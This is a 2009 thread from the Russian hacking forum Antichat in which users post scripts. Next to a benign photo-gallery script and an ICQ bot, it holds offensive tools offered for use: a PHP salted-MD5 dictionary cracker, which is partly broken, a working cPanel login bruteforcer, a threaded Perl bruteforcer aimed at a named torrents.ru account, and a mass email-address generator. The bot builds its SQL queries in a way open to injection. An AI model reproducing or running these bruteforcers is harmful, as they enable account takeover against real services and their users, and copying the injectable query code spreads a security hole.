Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Красивая галерея фоток, картинок в два клика |

06.01.2009, 19:58
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Красивая галерея фоток, картинок в два клика
Основано на javasсriрt, если конкретней на lightgallery, проверено на narod.ru (где, как известно, кроме javasсriрt ничего больше и нет - значит будет работать на любом сайте), аналогов нет. С анимацией и превьюшками и автоподстройкой под разрешение монитора.
Посмотреть в действии здесь:
http://pashkela.narod.ru/foto/index.html
скачать здесь:
http://pashkela.narod.ru/foto/gallery.rar
В комплекте несколько файлов:
1. Каталог lightgallery - там скрипты, кнопки и прочее
2. Тестовые картинки 1.jpg, 2.jpg, 3.jpg, 4.jpg (просто, чтобы понять, как работает)
3. Основная страница - index.html
Принцип проще некуда (найдете проще - отпишитесь  ):
1. Скачиваем и распаковываем на свой комп http://pashkela.narod.ru/foto/gallery.rar
2. Открываем index.html в блокноте (правая кнопочка мышки на файл-открыть с помощью-блокнот)
3. Сверху нас интересуют только три строчки:
//КОЛИЧЕСТВО ФОТОГРАФИЙ
var kol=4;
//РАСШИРЕНИЕ ФОТОГРАФИЙ (.jpg, .gif, .bmp, etc...)
var ras = "jpg";
//НАЗВАНИЕ ГАЛЕРЕИ
var naz = "НОВЫЙ ГОД";
думаю тут объяснять не надо, просто меняете на свои параметры и всё.
Заливает на свой сервер, например http://ваш_ник_на_народе/foto/
туда же заливаете фотки, ТУТ ВНИМАТЕЛЬНО:
все фотки просто должны быть переименованы в
1.jpg, 2.jpg, 3.jpg, 4.jpg.......100.jpg
ну естественно начиная с 1 и заканчивая просто сколько у вас фоток. Если не .jpg, то и ничего страшного, просто в index.html укажите Ваш тип расширения
Собственно и всё. Переходите по адресу http://ваш_ник_на_народе/foto/index.html и наслаждаетесь
|
|
|

08.01.2009, 07:58
|
|
Новичок
Регистрация: 04.01.2009
Сообщений: 12
Провел на форуме: 46968
Репутация:
58
|
|
брут мд5 хэшей с солью.
брут мд5 хэшей с солью.
PHP код:
set_time_limit(0);
if (!isset($_POST['crack'])) {
echo "<i>World-List</i>: <input type='text' name='list'><br>";
echo "<i>MD5 Hash</i>: <input type='text' name='hash'><br>";
echo "<i>Salt</i>: <input type='text' name='salt'><br>";
echo "<input type='submit' name='submit' value='Crack The Salt!'>";
$list = $_POST['list'];
$hash = $_POST['hash'];
$salt = $_POST['salt'];
}else{
foreach(file($list) as $line){
$line = str_replace("\n","",$line);
$cracked = md5(md5($line).$salt);
if($hash = $cracked){
die("Salt Broken...<br>
[+]Password = $line<br>");
}
}else{
echo "Sorry mate, no payoff today, try another list!";
}
?>
|
|
|
cPanel 11 Bruteforcer [php] |

08.01.2009, 08:00
|
|
Новичок
Регистрация: 04.01.2009
Сообщений: 12
Провел на форуме: 46968
Репутация:
58
|
|
cPanel 11 Bruteforcer [php]
cPanel 11 Bruteforcer [php]
PHP код:
<?php
echo "URL (cPanel Main Page e.G http://site.com:2082): ";
$url = trim(fgets(STDIN));
echo "USER TO BRUTE: ";
$user = trim(fgets(STDIN));
echo "PASSLIST: ";
$passlist = trim(fgets(STDIN));
brute_cPanel($url, $user, $passlist);
function login_cPanel($url, $user, $pass)
{
$target = trim($url)."/login/";
$post_data = "login_theme=cpanel&user=".$user."&pass=".$pass;
$referer = trim($url);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3";
$curl_conf = array(
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_FOLLOWLOCATION => TRUE,
CURLOPT_USERAGENT => $user_agent,
CURLOPT_REFERER => $referer,
CURLOPT_POST => TRUE,
CURLOPT_POSTFIELDS => $post_data
);
$curl_handle = curl_init($target);
curl_setopt_array($curl_handle, $curl_conf);
$content = curl_exec($curl_handle);
file_put_contents("result.htm", $content);
if (!preg_match("[Login Attempt Failed\!]", $content))
{
return true;
}
else
{
return false;
}
}
function brute_cPanel($url, $user, $passlist)
{
$passes = file($passlist);
$count = count($passes);
$counter = 0;
echo "CHECKING FOR ".$count." PASSES\r\n";
while ($counter < $count):
$current_pass = trim($passes[$counter]);
if (login_cPanel($url, $user, $current_pass))
{
echo "SUCCESS: ".$current_pass."\r\n";
return true;
}
$counter++;
endwhile;
return false;
}
?>
|
|
|

10.01.2009, 12:24
|
|
Banned
Регистрация: 02.01.2009
Сообщений: 27
Провел на форуме: 186233
Репутация:
102
|
|
Генератор e-mail
Генератор e-mail
PHP код:
<?php
/* bk.ru || list.ru || mail.ru || inbox.ru */
$domain = 'bk.ru';
/* Generator */
$fp2 = fopen("3d_mail.txt", "a");
$str = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($iii=0; $iii<strlen($str); $iii++) {
for ($ii=0; $ii<strlen($str); $ii++) {
for ($i=0; $i<strlen($str); $i++) {
fputs($fp2, $str[$i].$str[$ii].$str[$iii]."@".$domain."\r\n");
}}}
fclose($fp2);
?>
Данный гавно скриптик сгенерит 3х значные имейлы вида мыло@домен.ру Всего генерит 46656 мыл.
|
|
|

10.01.2009, 13:19
|
|
Новичок
Регистрация: 30.06.2008
Сообщений: 26
Провел на форуме: 49719
Репутация:
2
|
|
Сообщение от d_x
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится
1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.
2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.
3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.
Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html
Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть. 
|
|
|

10.01.2009, 13:36
|
|
Постоянный
Регистрация: 15.07.2008
Сообщений: 444
Провел на форуме: 1417964
Репутация:
665
|
|
Сообщение от Pashkela
Основано на javasсriрt, если конкретней на lightgallery,
.........
и наслаждаетесь
я уже давно ajax наслаждаюсь)
А что здесь сделал именно ты? Чем лучше, чем у автора?
===
я не поленилась, бегло посмотрела архив. сжатая библиотека js...и тд.
в общем, в чем разница по сравнению с этим?
http://www.jstoolbox.com/proekty/lightgallery/
Последний раз редактировалось lisa99; 10.01.2009 в 13:41..
|
|
|

10.01.2009, 13:45
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
В автоматике добавления картинок. Только в этом. Нигде не видел варианта, где людям просто надо вписать кол-во картинок и название галереи и расширение на все файлы
А то, что основанно именно на lightgallery я и не скрывал, в посте по моему это отмечено (непонятно зачем бегло смотреть архив и не читать САМО сообщение)
|
|
|

10.01.2009, 19:45
|
|
Banned
Регистрация: 15.07.2007
Сообщений: 39
Провел на форуме: 1122110
Репутация:
43
|
|
Простой icq бот с кривым кодом, но кому надо исправит.
MySQL не знаю, тупо гуглом искал запросы
Код HTML:
#!/usr/bin/python
# -*- coding: cp1251 -*-
from twisted.words.protocols import oscar
from twisted.internet import protocol, reactor
from urllib import quote
import urllib2
import re
import MySQLdb
import sys
import time
import md5
SN = ''
PASS = ''
icqMode = 1
hostport = ('login.icq.com', 5190)
infoMessage = "This is pyBot version 0.00001"
too_much = "Sorry but you can send only 1 requests per 10 seconds"
class B(oscar.BOSConnection):
capabilities = [oscar.CAP_CHAT]
def initDone(self):
self.requestSelfInfo().addCallback(self.gotSelfInfo)
self.requestSSI().addCallback(self.gotBuddyList)
def gotSelfInfo(self, user):
print user.__dict__
self.name = user.name
def gotBuddyList(self, l):
print l
self.activateSSI()
self.setProfile("""Fuck on this""")
self.setIdleTime(0)
self.clientReady()
def receiveMessage(self, user, multiparts, flags):
message = multiparts[0][0]
if message == '!reg':
self.reg(user.name)
if message.startswith('!weather') and self.check(user.name):
message, town = message.split()
self.sendMessage(user.name, self.weather(town), wantAck = 0, autoResponse = 0, offline = 0)
if message.startswith('!info') and self.check (user.name):
self.sendMessage(user.name, infoMessage, wantAck = 0, autoResponse = 0, offline = 0)
if message.startswith('!md5') and self.check(user.name):
message, md5_val = message.split()
self.sendMessage(user.name, self.md5_conv(md5_val), wantAck = 0, autoResponse = 0, offline = 0)
def check(self, uin):
if (self.check_uin(uin) and self.last_req(uin)):
return True
def check_uin(self, uin):
try:
conn = MySQLdb.connect(host= "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error", e
try:
cursor = conn.cursor()
cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)
result = [row[0] for row in cursor.fetchall()]
if not result:
print "You not registred in service"
else:
return True
except MySQLdb.Error, e:
print "Error", e
cursor.close()
conn.commit()
conn.close()
def md5_conv(self, value):
m = md5.new(value)
return m.hexdigest()
def weather(self, town):
url = 'http://pogoda.rbc.ru/search?search='
hex_town = quote(town)
res = urllib2.urlopen(url+hex_town).read()
day = re.search("<p class='today'><b>(.*)</b>", res, re.M)
if day:
return day.group(1)
else:
return "Town not found"
def last_req(self, uin):
try:
conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error", e
try:
cursor = conn.cursor()
cursor.execute("""SELECT last_req FROM users WHERE uin=%s""" % uin)
result = [row[0] for row in cursor.fetchall()]
result = int(time.time() - result[0])
cursor.execute("""UPDATE users SET last_req=%f WHERE uin='%s'""" % (time.time(), uin))
if (result > 10):
return True
else:
self.sendMessage(uin, too_much, wantAck = 0, autoResponse = 0, offline = 0)
except MySQLdb.Error, e:
print "Error", e
cursor.close()
conn.commit()
conn.close()
def reg(self, uin):
try:
conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
sys.exit(1)
try:
cursor = conn.cursor()
cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)
result = [row[0] for row in cursor.fetchall()]
if result:
self.sendMessage(uin, "You already registred in this service", wantAck = 0, autoResponse = 0, offline = 0)
else:
cursor.execute("""INSERT INTO users (uin, last_req) VALUES ('%s', '%s')""" % (uin,time.time()))
print "Number of rows inserted: %d" % cursor.rowcount
cursor.close()
except MySQLdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
sys.exit(1)
conn.commit()
conn.close()
class OA(oscar.OscarAuthenticator):
BOSClass = B protocol.ClientCreator(reactor, OA, SN, PASS, icq=icqMode).connectTCP(*hostport)
reactor.run()
|
|
|

10.01.2009, 22:12
|
|
Познающий
Регистрация: 23.11.2008
Сообщений: 31
Провел на форуме: 166977
Репутация:
23
|
|
Torrents.ru Bruteforce
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
Код:
#!/usr/bin/perl
###################################################
# В папку со скриптом киньте 2 файла: #
# pass.txt (Словарь), good.txt (Взбрученные аккки)#
###################################################
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Torrent.ru Bruteforce by Fuck all\n";
print "\n Starting brute...\n";
open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
my @pass = <FP>;
close FP;
my $login_username = 'ALeXX'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);
$i=($i+1) % 5; #Количество потоков (5)
}
foreach(threads->list) { $_->join; }
sub brute()
{
$ua->cookie_jar($cookies);
my $req = $ua->post('http://torrents.ru/forum/login.php', {
'st.posted'=>'set',
'login_username'=>$_[0],
'login_password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;
my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[0]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
die ('PASSWORD FOUND!!!!!\n\n\n');
}
else
{
print "[-] BAD $_[1]\n";
}}
#c0ded by Fuck all;
|
|
|

10.01.2009, 23:56
|
|
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
Провел на форуме: 1051973
Репутация:
116
|
|
Сообщение от fuck all
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
смысл торент.ру брутить?
там итак нахаляву качать можно..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|